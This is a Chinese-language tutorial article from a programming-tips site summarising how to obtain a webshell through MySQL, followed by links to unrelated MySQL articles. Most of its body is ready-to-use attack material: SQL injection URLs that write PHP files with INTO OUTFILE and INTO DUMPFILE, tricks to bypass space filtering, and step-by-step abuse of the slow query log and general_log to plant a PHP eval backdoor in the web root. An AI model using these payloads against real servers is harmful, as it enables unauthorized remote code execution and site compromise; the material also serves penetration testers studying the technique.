mysql數(shù)據(jù)庫中getshell的方式總結
outfile和dumpfile寫shell
利用條件
- 數(shù)據(jù)庫當前用戶為root權限;
- 知道當前網(wǎng)站的絕對路徑;
PHP的GPC為 off狀態(tài);(魔術引號,GET,POST,Cookie)- 寫入的那個路徑存在寫入權限。
基于union聯(lián)合查詢:
?id=1 union select 1,'<?php phpinfo();?>',3 into outfile 'C:\phpstudy\www\shell.php'%23 ?id=1 union select 1,'<?php phpinfo();?>',3 into dumpfile 'C:\phpstudy\www\shell.php'%23
非聯(lián)合查詢
當我們無法使用聯(lián)合查詢時,我們可以使用fields terminated by與lines terminated by來寫shell
?id=1 into outfile 'C:\phpstudy\www\shell.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23
代替空格的方法
+號,%0a、%0b、%a0 、 /**/ 注釋符等
outfile和dumpfile的區(qū)別
outfile:
1、 支持多行數(shù)據(jù)同時導出
2、 使用union聯(lián)合查詢時,要保證兩側(cè)查詢的列數(shù)相同
3、 會在換行符制表符后面追加反斜杠
4、會在末尾追加換行
dumpfile:
1、 每次只能導出一行數(shù)據(jù)
2、 不會在換行符制表符后面追加反斜杠
3、 不會在末尾追加換行
因此,我們可以使用into dumpfile這個函數(shù)來順利寫入二進制文件;
當然into outfile函數(shù)也可以寫入二進制文件,但是無法生效(追加的反斜杠會使二進制文件無法生效)
當我們使用dumpfile,應該手動添加 limit 限制,來獲取不同的行數(shù)
secure_file_prive
MySQL的secure-file-prive參數(shù)是用來限制LOAD DATA, SELECT ,OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。
secure_file_prive= ,結果為空的話,表示允許任何文件讀寫
secure_file_prive=NULL,表示不允許任何文件讀寫
secure_file_prive=‘某個路徑’,表示這個路徑作為文件讀寫的路徑
在mysql5.5版本前,都是默認為空,允許讀取
在mysql5.6版本后 ,默認為NULL,并且無法用
SQL語句對其進行修改。所以這種只能在配置進行修改。
查詢secure_file_prive的參數(shù)
show global variables like "%secure%"
利用sql語句修改參數(shù)
set global secure_file_prive=
但是5.6后不能利用sql修改了,所以只能利用配置修改
修改value的值:
windows下修改配置文件:mysql.ini
linux修改配置文件:my.cnf
日志getshell
慢日志getshell
慢日志:
一般都是通過long_query_time選項來設置這個時間值,時間以秒為單位,可以精確到微秒。如果查詢時間超過了這個時間值(默認為10秒),這個查詢語句將被記錄到慢查詢?nèi)罩局?。查看服務器默認時間值方式如下:
show global variables like '%long_query_time%' show global variables like '%long%'
查看慢日志參數(shù)
show global variables like '%slow%'

對慢日志參數(shù)進行修改
set global slow_query_log=1 #打開慢日志 set global slow_query_log_file='c:\\phpstudy\\www\\test.php'#慢日志的路徑 注意:一定要用雙反斜杠 SELECT '<?php @eval($_POST[1]);?>' or sleep(11) 這兒11是超過慢日志的10秒時間
利用general_log
利用general_log,可以將所有到達mysql服務器的sql語句,都記錄下來。
相關參數(shù)一共有3個:general_log、log_output、general_log_file
show variables like 'general_log'; -- 查看日志是否開啟 set global general_log=on; -- 開啟日志功能 show variables like 'general_log_file'; -- 看看日志文件保存位置 set global general_log_file='tmp/general.lg'; -- 設置日志文件保存位置 show variables like 'log_output'; -- 看看日志輸出類型 table或file set global log_output='table'; -- 設置輸出類型為 table set global log_output='file'; -- 設置輸出類型為file
一般log_output都是file,就是將日志存入文件中。table的話就是將日志存入數(shù)據(jù)庫的日志表中。
getshell
set global general_log=on set global general_log_file='需要攻擊的路徑' select '<?php eval($_POST[cmd]);?>'
這樣就將一句話木馬記錄到general_log中,從而getshell
binlog的介紹
總結
到此這篇關于mysql數(shù)據(jù)庫中getshell方式的文章就介紹到這了,更多相關mysql getshell的方式內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
mysql中根據(jù)已有的表來創(chuàng)建新表的三種方式(最新推薦)
這篇文章主要介紹了mysql中根據(jù)已有的表來創(chuàng)建新表的三種方式,本文給大家介紹的非常詳細,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下2023-07-07
解決SQLyog連接MySQL出現(xiàn)錯誤Plugin caching_sha2_password co
當使用SQLyog連接MySQL時,如果遇到插件caching_sha2_password無法加載的錯誤,可以通過更改密碼并將其標識為mysql_native_password來解決,具體步驟包括:打開命令提示符窗口,登錄MySQL,修改密碼并更換插件,然后使用新密碼連接SQLyog2025-01-01
MySQL中誤刪數(shù)據(jù)恢復的3種極限操作分享
在日常運維工作中,對于mysql數(shù)據(jù)庫的備份是至關重要的,這篇文章主要介紹了MySQL中誤刪數(shù)據(jù)恢復的3種極限操作,文中的示例代碼講解詳細,感興趣的小伙伴可以了解下2026-01-01
MySQL Left JOIN時指定NULL列返回特定值詳解
我們有時會有這樣的應用,需要在sql的left join時,需要使值為NULL的列不返回NULL而時某個特定的值,比如0。這個時候,用is_null(field,0)是行不通的,會報錯的,可以用ifnull實現(xiàn),但是COALESE似乎更符合標準2013-07-07
mysql取得datetime類型的數(shù)據(jù),后面會跟個.0的實現(xiàn)方法
下面小編就為大家?guī)硪黄猰ysql取得datetime類型的數(shù)據(jù),后面會跟個.0的實現(xiàn)方法。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧2017-03-03
MySQL?limit?翻頁數(shù)據(jù)重復的問題解決

